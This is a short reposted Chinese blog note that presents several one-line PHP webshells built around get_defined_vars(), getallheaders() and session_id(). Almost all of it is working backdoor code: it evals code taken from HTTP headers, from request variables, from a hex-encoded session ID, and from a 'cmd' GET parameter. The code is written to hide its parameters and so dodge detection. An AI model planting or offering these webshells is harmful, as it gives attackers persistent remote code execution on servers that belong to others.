转载备忘:
get_defined_vars()、getallheaders()是两个特性函数,我们可以通过这两个函数来构造我们的webshell。 前几天看到的,一直忘记写,填坑。
环境 | 函数 | 用法 |
nginx | get_defined_vars() | 返回由所有已定义变量所组成的数组 |
apache | getallheaders() | 获取全部 HTTP 请求头信息 |
Apache:
<?php
eval(next(getallheaders()));
?>
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnL1cDOzUzM3gTOtkzMxUzM0EjNxITMxETOxAjMtUDOxczM38CXxETOxAjMvwVN4EzNzczLcd2bsJ2Lc12bj5ycn9Gbi52YugTMwIzZtl2Lc9CX6MHc0RHaiojIsJye.png)
Apache/Nginx通用
<?php
eval(implode(reset(get_defined_vars())));
?>
另外一种通过执行伪造的sessionid值,进行任意代码执行。
<?php
eval(hex2bin(session_id(session_start())));
?>
706870696e666f28293b这个是phpinfo();的hex编码。
给SHELL加密码
<?php eval(get_defined_vars()['_GET']['cmd']);?>
【版权所有@Sevck 博客地址http://www.cnblogs.com/sevck】 可以转载,注明出处.